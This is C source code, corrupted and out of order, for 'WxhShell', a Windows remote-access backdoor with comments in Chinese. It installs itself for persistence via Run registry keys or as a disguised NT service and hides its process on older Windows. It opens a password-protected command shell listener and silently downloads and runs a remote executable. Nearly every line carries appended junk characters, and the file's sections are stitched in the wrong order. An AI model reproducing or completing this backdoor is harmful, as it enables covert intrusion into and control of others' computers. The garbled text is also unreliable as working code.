DWORD PebBaseAddress; ec/1Z8}p
DWORD AffinityMask; =$6z1] ;3
DWORD BasePriority; \ Tf845
ULONG UniqueProcessId; smQ<lwA
ULONG InheritedFromUniqueProcessId; =Jfo=`da
} PROCESS_BASIC_INFORMATION; tgy*!B6a~
|Id0+-V
?
PROCNTQSIP NtQueryInformationProcess;
8%]o6'd4
h.@5vhD
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (j;s6g0
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L.XGD|m
x5vvY
HANDLE hProcess; >%k:++b{
PROCESS_BASIC_INFORMATION pbi; _|`~CLE[
,)3%@MwO
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [k-Q89
if(NULL == hInst ) return 0; %EA|2O.D
}p 0\
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?4Z`^uy
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d 6 t#4!
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?yop#tjCbY
!, Y1FC
if (!NtQueryInformationProcess) return 0; fB+4mEG@
$8gj}0}eH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5hwe ul>S
if(!hProcess) return 0; U:xY~>
+jQHf-l
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c3,YA,skb!
4SRX@/ #8*
CloseHandle(hProcess); R&Y+x;({
>5Y%4++(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
,83%18b
if(hProcess==NULL) return 0; ?5(Cwy ?
z+IBy+
HMODULE hMod; {%W'Zx
char procName[255]; y/57 >.3
unsigned long cbNeeded; X}*\/(fzl
8UiRirw
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^ Q]I)U
W8{g<.
/
CloseHandle(hProcess); z\wY3pIr2
EM9K^l`
if(strstr(procName,"services")) return 1; // 以服务启动 &Z!O
8D3|}z?
return 0; // 注册表启动 &`+tWL6L
} Lky<L96
~>vv9-_
// 主模块 57 (bd0@8
int StartWxhshell(LPSTR lpCmdLine) 7]se!k,
{ r'!L}^n
SOCKET wsl; h=tzG KI
BOOL val=TRUE; -I
dW-9~9
int port=0; Gf` `0F)
struct sockaddr_in door; j4pxu/2
)5n*4A
if(wscfg.ws_autoins) Install(); V0 70oZ
BN??3F8C
port=atoi(lpCmdLine);
i+r h&,
]\DZW4?'
if(port<=0) port=wscfg.ws_port; 4mYJ i#e6x
9 Z,K
WSADATA data; Fo\* Cr9D
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ejs_ ?
%l{0z<
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =^a Ngq
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (lPiv+'n
door.sin_family = AF_INET; klpYtQ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); JmlMfMpXMs
door.sin_port = htons(port); /j%(Z/RM
9R$0[HbI3
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hO8~Rg
closesocket(wsl); haNi[|
return 1; 2>`m1q:
} cg`bbZ
h"O4r8G}
if(listen(wsl,2) == INVALID_SOCKET) { >JOEp0J
closesocket(wsl); ,j3Yvn W
return 1; >~_oSC)E
} P_e9>t@
Wxhshell(wsl); >+}yI}W;e
WSACleanup(); E}-Y!,v^
j >pv@D
return 0; )?d(7d-l
Qdt4h$~V"
} 3+:F2sjt
s>pM+PoGYd
// 以NT服务方式启动 ^HiI
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y}aKL(AaU
{ /i:c!l9
DWORD status = 0; a ][t#`
DWORD specificError = 0xfffffff; \tCxz(vKz
U+[ p>iP
serviceStatus.dwServiceType = SERVICE_WIN32; Go;fQ yG
serviceStatus.dwCurrentState = SERVICE_START_PENDING; GN0s`'#"3%
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3.0t 5F<B
serviceStatus.dwWin32ExitCode = 0; pUV4oyGV
serviceStatus.dwServiceSpecificExitCode = 0; Uw!N;QsC
serviceStatus.dwCheckPoint = 0; rJz`v/:|P
serviceStatus.dwWaitHint = 0; >]dH1@@
{pJf~
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =&8 Cg
if (hServiceStatusHandle==0) return; )#%v1rR
yxx9h3
status = GetLastError(); |[+/ ]Y
if (status!=NO_ERROR) e-E0Bp
{ ~7;AV(\%e
serviceStatus.dwCurrentState = SERVICE_STOPPED; [N=v=J9
serviceStatus.dwCheckPoint = 0; 8?l/x
serviceStatus.dwWaitHint = 0; yq6Gyoi<
serviceStatus.dwWin32ExitCode = status; TmEJ!)*
serviceStatus.dwServiceSpecificExitCode = specificError; ] Hiw+5n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ja2BK\"1:
return; eN,6p'&
} Ns2<wl-
%+8"-u
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^}Wk
serviceStatus.dwCheckPoint = 0; yiO/0n Mp
serviceStatus.dwWaitHint = 0; +H**VdM6s
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %3kS;AaA
} Y[~Dj@Q<
tS[@3h
// 处理NT服务事件,比如:启动、停止 |#i|BVnoE
VOID WINAPI NTServiceHandler(DWORD fdwControl) <>71;%e;'
{ +eUWf{(_
switch(fdwControl) i8nzPKF2$3
{ BbCaIt
case SERVICE_CONTROL_STOP: +{b3A@f|F
serviceStatus.dwWin32ExitCode = 0; T8t_+|(
G
serviceStatus.dwCurrentState = SERVICE_STOPPED; )&px[Dbx
serviceStatus.dwCheckPoint = 0; 3'jH,17lWV
serviceStatus.dwWaitHint = 0; dTTC6?yPXf
{ ]tsp}M@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qK-\`m
} -hU1wX%U
return; 1}/37\
case SERVICE_CONTROL_PAUSE: "K)ue@?
serviceStatus.dwCurrentState = SERVICE_PAUSED; JIOeDuw+
break; E{8-VmY
case SERVICE_CONTROL_CONTINUE: Sv>bU4LHf
serviceStatus.dwCurrentState = SERVICE_RUNNING; bdYx81
break; ~q,Wj!>Ob
case SERVICE_CONTROL_INTERROGATE: Rm&4Pku
break; XF Cwa
}; 9%iv?/o*L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); cOoF +hz0O
} k [eWhdSw
crlCN
// 标准应用程序主函数 pPH"6
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '7yVvd
{ x%J.$o[<_
Lk`,mjhk
// 获取操作系统版本 ~!7!Y~(+
OsIsNt=GetOsVer(); bNh~=[E
GetModuleFileName(NULL,ExeFile,MAX_PATH); hi0-Sw
V2oXg
// 从命令行安装 Xaw&41K
if(strpbrk(lpCmdLine,"iI")) Install(); :8LK}TY7
kE[Hq-J=N
// 下载执行文件 AAc*\K
if(wscfg.ws_downexe) { XCyAt;neon
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
:zK\t5
WinExec(wscfg.ws_filenam,SW_HIDE); LUKt!I0l
} cMZ-
aS/ MlMf
if(!OsIsNt) { 8S#TOeQ
// 如果时win9x,隐藏进程并且设置为注册表启动 S%IhpTSe6
HideProc(); J`'wprSBb
StartWxhshell(lpCmdLine); "?Yf3G: \0
} *wl&Zzx
else #-7m@EU;O
if(StartFromService()) b{(= C
3
// 以服务方式启动 bFB.hkTP
StartServiceCtrlDispatcher(DispatchTable); g$T%
C?
else HLb`'TC3r+
// 普通方式启动 |_u|Td(n
StartWxhshell(lpCmdLine); m
?#WQf
Jq8:33s
return 0; <7*d2
} <d~IdK'\x
(_n U}<y_i
&pFP=|Pq
%d^ =$Q
=========================================== LA4,o@V`
vT;~\,M
Cm%xI&Y
7*(K%e"U
9D{p^hd
P*g:rg
" cNG`-+U'
/|WBk}
#include <stdio.h> ,T0q.!d
#include <string.h> [WUd9fUL
#include <windows.h> z+{Q(8'b]
#include <winsock2.h> v<:/u(i
#include <winsvc.h> %ou@Y`
#include <urlmon.h> <G /a-Z
cIQe^C
#pragma comment (lib, "Ws2_32.lib") 3Bbd2[<W
#pragma comment (lib, "urlmon.lib") 4;)aGN{e
Psw<9[
#define MAX_USER 100 // 最大客户端连接数 W/G75o~6
#define BUF_SOCK 200 // sock buffer PNRZUZ4Z|
#define KEY_BUFF 255 // 输入 buffer @WnW
@'*F
H:4?sR3
#define REBOOT 0 // 重启 gV;9lpZ2
#define SHUTDOWN 1 // 关机 H|s,;1#
5NN`tv
#define DEF_PORT 5000 // 监听端口 eD)@:K
:$^cY>o
#define REG_LEN 16 // 注册表键长度 c3!YA"5
#define SVC_LEN 80 // NT服务名长度 r#\Lq;+-B
qs3V2lvYw{
// 从dll定义API ;G4g;YHy|
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1+9}Xnxb
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5K {{o''
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {(_>A\zi
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5uO.@0
]}d.h!`<)
// wxhshell配置信息 iu'At7
struct WSCFG { >"<<hjKJ
int ws_port; // 监听端口 8?G534*r@2
char ws_passstr[REG_LEN]; // 口令 DlxL:
int ws_autoins; // 安装标记, 1=yes 0=no Ybp';8V
char ws_regname[REG_LEN]; // 注册表键名 pe>[Ts`2F
char ws_svcname[REG_LEN]; // 服务名 XG8UdR|
char ws_svcdisp[SVC_LEN]; // 服务显示名 )|`w;F>
char ws_svcdesc[SVC_LEN]; // 服务描述信息 n1)~/
>
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +OfHa\Nz
int ws_downexe; // 下载执行标记, 1=yes 0=no #OVS]Asn}
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x]pZcx9
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lJ(];/%
P|rreSv*
}; *B%ulsm
\PM5B"MDZ
// default Wxhshell configuration p&W{g$D>
struct WSCFG wscfg={DEF_PORT, nrJW.F]S8[
"xuhuanlingzhe",
EzGO/uZ]
1, *4O9W8Qz
"Wxhshell", yBnUz"
"Wxhshell", 4N_iHe5U
"WxhShell Service", g$^I/OK?
"Wrsky Windows CmdShell Service", U^d!*9R
"Please Input Your Password: ", 4&wwmAp^
1, ^9
Pae)
"http://www.wrsky.com/wxhshell.exe", !xz{X ?
"Wxhshell.exe" /(?,S{]
}; u$nYddak
^ SW!S_&Z2
// 消息定义模块 +a74] H"
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *s (L!+
char *msg_ws_prompt="\n\r? for help\n\r#>"; 57`9{.HB
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e)2w&2i`(F
char *msg_ws_ext="\n\rExit."; (laVmU?I7
char *msg_ws_end="\n\rQuit."; 3AcCa>
char *msg_ws_boot="\n\rReboot..."; ' qN"!\
char *msg_ws_poff="\n\rShutdown..."; v<V9Z
<ub
char *msg_ws_down="\n\rSave to "; Hi#f
Qji
LseS8F/q
char *msg_ws_err="\n\rErr!"; ]C5/-J,F
char *msg_ws_ok="\n\rOK!"; 2M*84oh8P
LNI]IITx/
char ExeFile[MAX_PATH]; lJdwbuB6
int nUser = 0; xF7q9'/F
HANDLE handles[MAX_USER]; E2( {[J
int OsIsNt; C~8;2/F7
7|^5E*8/
SERVICE_STATUS serviceStatus; A)641"[
SERVICE_STATUS_HANDLE hServiceStatusHandle; 6i'kc3w
J:G~9~V^
// 函数声明 '-vzQ d@y
int Install(void); <XH,kI(%
int Uninstall(void); u8Oo@xf0Fr
int DownloadFile(char *sURL, SOCKET wsh); 9t_N9@
int Boot(int flag); BOWR}n!g
void HideProc(void); `m=u2kxY
int GetOsVer(void); 'h{| ]
int Wxhshell(SOCKET wsl); :{M1]0NH
void TalkWithClient(void *cs); "Is0:au+?}
int CmdShell(SOCKET sock); S|/Za".Gr
int StartFromService(void); ]_y0wLq
int StartWxhshell(LPSTR lpCmdLine); /..a9x{At>
ibv.M=
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H*vd
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Cbjx{
??h4qJ
// 数据结构和表定义 WQ)vu&;
SERVICE_TABLE_ENTRY DispatchTable[] = &v.Nj9{zi
{ Bb@m-+f
{wscfg.ws_svcname, NTServiceMain}, uYAMW{AT
{NULL, NULL} ,n/^;. _1
}; BiCC72oig
kqt.?iJw
// 自我安装 YZQF*fj
int Install(void) \@hq7:Q
{ B|.8+Q
char svExeFile[MAX_PATH]; XWYLa8Ef
HKEY key; J6J|&Z~UT,
strcpy(svExeFile,ExeFile); 7$|L%Sk
-|YDKcL
// 如果是win9x系统,修改注册表设为自启动 vz}_^8O
if(!OsIsNt) { P"ATqQG%D
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l_0/g^(
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N9X`81)t
RegCloseKey(key); |!\5nix3A>
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z3(:a'
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,R5z`O
RegCloseKey(key); 'o% .Qx
return 0; b,o@m
} JmJNq$2#c
} ,c.(&@
} ~pve;(e=
else { 5_E,x
,'^^OLez
// 如果是NT以上系统,安装为系统服务 J>%uak<
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Lk:Sju
if (schSCManager!=0) v&}^8j
{ pjrzoMF
SC_HANDLE schService = CreateService iqTGh*k
( Z!SFJ{
schSCManager, i5G"@4(
wscfg.ws_svcname, lMRy6fzI
wscfg.ws_svcdisp, x&